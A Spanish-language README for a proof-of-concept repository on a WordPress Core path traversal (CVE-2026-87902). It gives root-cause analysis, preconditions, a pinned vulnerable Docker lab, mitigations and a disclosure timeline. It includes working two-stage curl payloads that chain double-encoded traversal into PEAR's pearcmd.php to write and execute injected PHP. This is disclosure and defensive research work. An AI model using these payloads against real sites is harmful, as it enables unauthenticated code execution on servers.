
PoC para CVE-2026-87902 — path traversal no autenticado en la resolución de plantillas de página de WordPress (inclusión local de PHP, RCE condicional) con un laboratorio vulnerable fijado
Inclusión local de archivos PHP no autenticada en WordPress Core mediante un valor pagename con doble codificación — y, bajo condiciones específicas de despliegue, ejecución de código PHP con los privilegios de la cuenta del servidor web.
| CVE | CVE-2026-87902 |
| Aviso del proveedor | GHSA-7hp8-65ch-5whp |
| Análisis | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| Afectado | WordPress Core 4.7.0 – 7.1.1 (todas las ramas, según los rangos por rama del aviso); reproducido dinámicamente en 7.0.2 |
| Corregido | 7.1.2 (rama 7.1), 7.0.6 (rama 7.0) y un backport para todas las ramas hasta 4.7.37 (según el aviso) |
| Debilidades | CWE-98 (control inadecuado del nombre de archivo en include), CWE-22 / CWE-23 (path traversal) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 Alta |
| CVSS v4.0 (complementario) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Crítica |
| Autenticación | ninguna — sin cuenta, cookie, nonce, sesión, plugin ni petición saliente |
| Interacción del usuario | ninguna |
| Autor | Robert Ressl — ressl.ch |
| PoC verificado | 2026-09-22 contra el laboratorio de este repositorio — véase Resultados verificados |
WordPress resuelve una plantilla de Página mediante una cadena que nunca comprueba que el archivo seleccionado permanezca dentro de la raíz de un tema:
pagename y page_id son variables de consulta públicas que WP::parse_request() acepta desde un cuerpo POST anónimo.pagename sobrevive a la sanitización temprana de la consulta como octetos %xx escapados (wp_basename() no puede ver %2f como separador, y sanitize_title_with_dashes() conserva deliberadamente los octetos válidos).page_id válido selecciona entonces una Página publicada real, mientras que el pagename malicioso permanece en el objeto de consulta.get_page_template() llama después a urldecode() sobre ese valor y añade un candidato como page-templates/../../../../../../../usr/local/lib/php/pearcmd.php a la jerarquía de plantillas.locate_template() y el cargador final de plantillas solo comprueban la existencia, la legibilidad y el sufijo .php/.html — nunca que la ruta canónica siga estando dentro de una raíz de tema permitida — y luego lo include.Eso constituye una primitiva de inclusión local de archivos remota no autenticada en WordPress Core. En el entorno de ejecución oficial probado (wordpress:php8.3-apache, que incluye PEAR y no carga ningún php.ini, por lo que register_argc_argv está en On), la inclusión se encadenó a través de pearcmd.php de PEAR: una primera petición anónima hace que config-create escriba PHP controlado por el atacante en /tmp, y una segunda petición anónima incluye ese archivo y lo ejecuta como www-data.
La falta de contención de rutas en Core es la vulnerabilidad. PEAR es solo una ruta dependiente del entorno desde la inclusión hasta la ejecución de código — no es una dependencia de WordPress y no está presente ni es utilizable en todos los despliegues.
Ubicaciones del código verificadas (WordPress 7.0.2):
| # | Ubicación | Rol |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 | pagename y page_id son variables de consulta públicas y se leen de $_POST |
| 2 | wp-includes/class-wp-query.php:2205 | sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f no es un separador para wp_basename() |
| 3 | wp-includes/formatting.php:2283-2289 | sanitize_title_with_dashes() conserva los octetos %xx válidos en lugar de eliminarlos |
| 4 | wp-includes/template.php:492 | $pagename_decoded = urldecode( $pagename ); — el traversal se activa después de la sanitización |
| 5 | wp-includes/template.php:722-736 | locate_template() concatena el candidato bajo cada raíz de tema y solo llama a file_exists() |
| 6 | wp-includes/template-loader.php:116-132 | realpath() normaliza la ruta, y luego include se ejecuta sin ninguna comprobación canónica de contención en la raíz |
| 7 | wp-includes/canonical.php:42-47 | redirect_canonical() retorna anticipadamente para peticiones que no son GET/HEAD, por lo que un POST no se canonicaliza |
La primitiva de inclusión independiente necesita:
| # | Precondición | Motivo |
|---|---|---|
| 1 | Una Página publicada y accesible anónimamente, seleccionada mediante un page_id numérico | la página debe ser devuelta por la consulta después de que falle la búsqueda del pathname |
| 2 | Ninguna plantilla de página personalizada resoluble anterior | una plantilla válida asignada se ordena antes que el candidato malicioso |
| 3 | Un directorio de nivel superior en el tema activo (hijo o padre) cuyo nombre empiece por page-, p. ej. page-templates/ | WordPress antepone el prefijo fijo page-, por lo que un traversal .. no puede empezar en la posición 0; el directorio solo tiene que existir y ser atravesable — no tiene que ser escribible |
| 4 | Un archivo local .php seleccionado que exista y sea legible por el usuario de PHP | el cargador comprueba is_file()/is_readable() y requiere un sufijo .php |
| 5 | Ningún confinamiento del sistema de archivos que bloquee ese archivo | un open_basedir o una política MAC pueden impedir la inclusión |
La etapa PEAR demostrada necesita además un pearcmd.php legible (junto con sus dependencias), register_argc_argv=On para el SAPI web, y un directorio de salida escribible. Los archivos php.ini de producción establecen register_argc_argv=Off; la imagen probada no carga ningún php.ini, por lo que se aplicó el valor predeterminado compilado (On). Esta es una limitación importante sobre la prevalencia de la cadena de ejecución de código demostrada.
Los temas incluidos Twenty Twenty-Three/Four/Five no incluyen ningún directorio page-* de nivel superior, por lo que el laboratorio estándar necesita el fixture descrito a continuación. Los temas personalizados pueden usar legítimamente una estructura page-templates/
(documentación de WordPress).
El aviso registra dónde se producen estas condiciones en software distribuido: la condición del tema se cumple en los temas heredados Twenty Twelve y Twenty Fourteen y en temas de terceros como Neve, Hestia y Sydney, mientras que la transición a PEAR se aplica a la imagen oficial de PHP para Docker y a las configuraciones predeterminadas de cPanel que ejecutan PHP anterior a 8.5. (Twenty Twelve y Twenty Fourteen incluyen ambos un directorio page-templates/ de nivel superior; las demás afirmaciones son del aviso). Este repositorio no mide con qué frecuencia se aplica la cadena completa.
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py # two anonymous POSTs, prints the proof marker
cve-2026-87902.py necesita Python 3.6+ (solo biblioteca estándar) y accede al laboratorio en http://127.0.0.1:8091 de forma predeterminada. Salida esperada:
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
El código de salida es 0 en caso de éxito y 1 en caso contrario, por lo que el PoC también funciona como comprobación de regresión/detección.
Desmontaje: docker compose down -v.
Ejecutado el 2026-09-22 contra este laboratorio (Docker 29.4, OrbStack, Apple silicon):
| Comprobación | Resultado |
|---|---|
| Etapa 1 | HTTP 200; /tmp/wp-pear-rce-flag.php escrito como www-data:www-data, modo 0644, 1219 bytes |
| SHA-256 del payload | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — idéntico al hash registrado en el informe original |
| Etapa 2 | HTTP 200; el PHP inyectado imprimió el artefacto de prueba con modo 0444 |
| Ocurrencias del marcador | 12 (PEAR serializa el valor raíz controlado en 12 entradas de configuración) |
| Credenciales usadas | ninguna — sin cabecera Cookie ni Authorization en ninguna petición |
| Control negativo | page-templates/ eliminado → la etapa 2 devuelve la página normal, sin marcador, código de salida 1 |
El artefacto de prueba es /flag, propiedad de root y legible por todos (root:root, modo 0444) dentro del contenedor. Demuestra la ejecución de PHP y el acceso a archivos como la cuenta del servidor web; no es un objetivo de escalada de privilegios.
Dos POST anónimos. Los valores de enrutamiento de WordPress viajan en el cuerpo del formulario, y los argumentos de PEAR en la cadena de consulta sin procesar (PHP divide la cadena de consulta sin procesar por el carácter literal + en argv y no decodifica individualmente los argumentos):
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
Etapa 1 — incluir pearcmd.php y escribir el payload:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
Etapa 2 — incluir el archivo generado y ejecutar su PHP:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
Detalles que importan:
templates%2f%2e%2e%2f...; el sanitizador conserva esos octetos, y solo
el urldecode() tardío de get_page_template() los convierte en / y ...page-. WordPress antepone page- al valor, por lo que el directorio
fixture page-templates/ corresponde al segmento inicial templates..php forzado. El candidato es page-<decoded>.php, por lo que
el objetivo se indica sin sufijo (.../pearcmd, /tmp/wp-pear-rce-flag).POST, no GET. redirect_canonical() omite las peticiones que no son GET/HEAD, y
el cuerpo del formulario permite que la cadena de consulta solo transporte los argumentos de PEAR.wp_magic_quotes() también se ejecuta sobre $_SERVER, por lo que
el argv construido por el servidor se escapa y PEAR normaliza después las barras invertidas. El
payload verificado usa chr() y no contiene caracteres de comilla. (Se reduce
a <?=file_get_contents('/flag')?>.)config-create. PEAR rechaza una raíz relativa
(Root directory must be an absolute path beginning with "/"), por lo que el payload
se inyecta como la propia ruta raíz.cve-2026-87902.py recorre segmentos .. hasta que el traversal alcanza el objetivo
(7 para la disposición de este laboratorio, --depth para fijarlo).lab/up.sh realiza tres pasos y es seguro volver a ejecutarlo:
docker compose up -d --build --wait — fija wordpress:7.0.2-php8.3-apache
más mysql:8.4, puerto 127.0.0.1:8091 (solo loopback).admin / adminadmin) si el sitio aún no está
instalado.wp-content/themes/twentytwentyfive/page-templates/, root:root, modo
0755, vacío.La imagen del laboratorio añade register_argc_argv=On explícitamente (lab/Dockerfile) en lugar
de depender del valor predeterminado compilado, e incorpora /flag
(root:root, modo 0444, contenido CVE-2026-87902-POC-OK).
| Componente | Valor |
|---|---|
| WordPress | 7.0.2 (wordpress:7.0.2-php8.3-apache) |
| PHP / SAPI | 8.3.33, módulo Apache |
| PEAR | 1.10.18 en /usr/local/lib/php/pearcmd.php |
| MySQL | 8.4 |
register_argc_argv | On |
| Tema | Twenty Twenty-Five + fixture page-templates/ vacío propiedad de root |
| Página objetivo | Sample Page publicada, ID 2, plantilla predeterminada |
| Artefacto de prueba | /flag, root:root, modo 0444 |
La etiqueta móvil
wordpress:php8.3-apacheno es utilizable para este laboratorio: el fallo está corregido en 7.1.2 y una etiqueta no fijada convierte silenciosamente el laboratorio en parcheado.
Controles verificados o documentados:
page-* de nivel superior en el tema → el prefijo fijo no puede
eliminarse y el traversal nunca comienza (verificado: fixture eliminado → sin marcador).register_argc_argv=Off → sin escritor PEAR, pero la primitiva de inclusión permanece... → objetivo no alcanzado (verificado: las profundidades 1-6 y
8-12 no producen marcador en el laboratorio)./flag) no puede leerse directamente — al candidato se le
añade .php.<, >, = sin procesar en el objetivo de la petición
rompe el canal de argumentos de PEAR (específico del despliegue).open_basedir/MAC o un directorio de salida no escribible rompen la
cadena; noexec en /tmp no lo hace (PHP lee e interpreta el archivo).Este PoC reproduce una configuración verificada. No afirma que toda instalación de WordPress sea explotable, ni mide la prevalencia.
validate_file()), y antes de incluir una
plantilla localizada, comparar realpath() del candidato y la raíz del tema con un
separador de directorio final.register_argc_argv=Off para los SAPIs web, eliminar
los puntos de entrada de PEAR no usados y legibles por web de las imágenes de producción, auditar los temas
hijo y padre en busca de directorios page-* de nivel superior, y restringir el acceso de escritura
para la cuenta de PHP.| Ruta | Propósito |
|---|---|
cve-2026-87902.py | exploit: detección de página, ambas etapas, manejo de profundidad, verificación del marcador |
lab/up.sh | lleva el laboratorio al estado exacto que espera el exploit (idempotente) |
docker-compose.yml | WordPress 7.0.2 + MySQL 8.4, puerto solo loopback |
lab/Dockerfile | fija la versión vulnerable, establece register_argc_argv=On, incorpora /flag |
lab/flag | contenido del artefacto de prueba |
| Fecha | Evento |
|---|---|
| 2026-07-20 | Reportado de forma privada a través del programa HackerOne de WordPress |
| 2026-07-21 | Recepción confirmada |
| 2026-09-15 | Se informó que se planeaba una corrección para una versión próxima; se solicitaron detalles de atribución |
| 2026-09-22 | WordPress 7.1.2 publicado con la corrección; aviso GHSA-7hp8-65ch-5whp publicado |
El informe fue aceptado como un hallazgo de seguridad válido después de que se revisara su clasificación inicial; la correspondencia no fecha esa aceptación.
Este repositorio se publica con fines defensivos y de investigación. Úsalo solo
contra sistemas que poseas o para los que tengas autorización explícita de prueba. El laboratorio está vinculado
a 127.0.0.1 y no debe exponerse a redes no confiables.
MIT — véase LICENSE. Los metadatos de citación están en CITATION.cff:
Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch
El informe de vulnerabilidad y este PoC se prepararon con asistencia de IA para la organización y la revisión de consistencia; el investigador es responsable de las afirmaciones técnicas.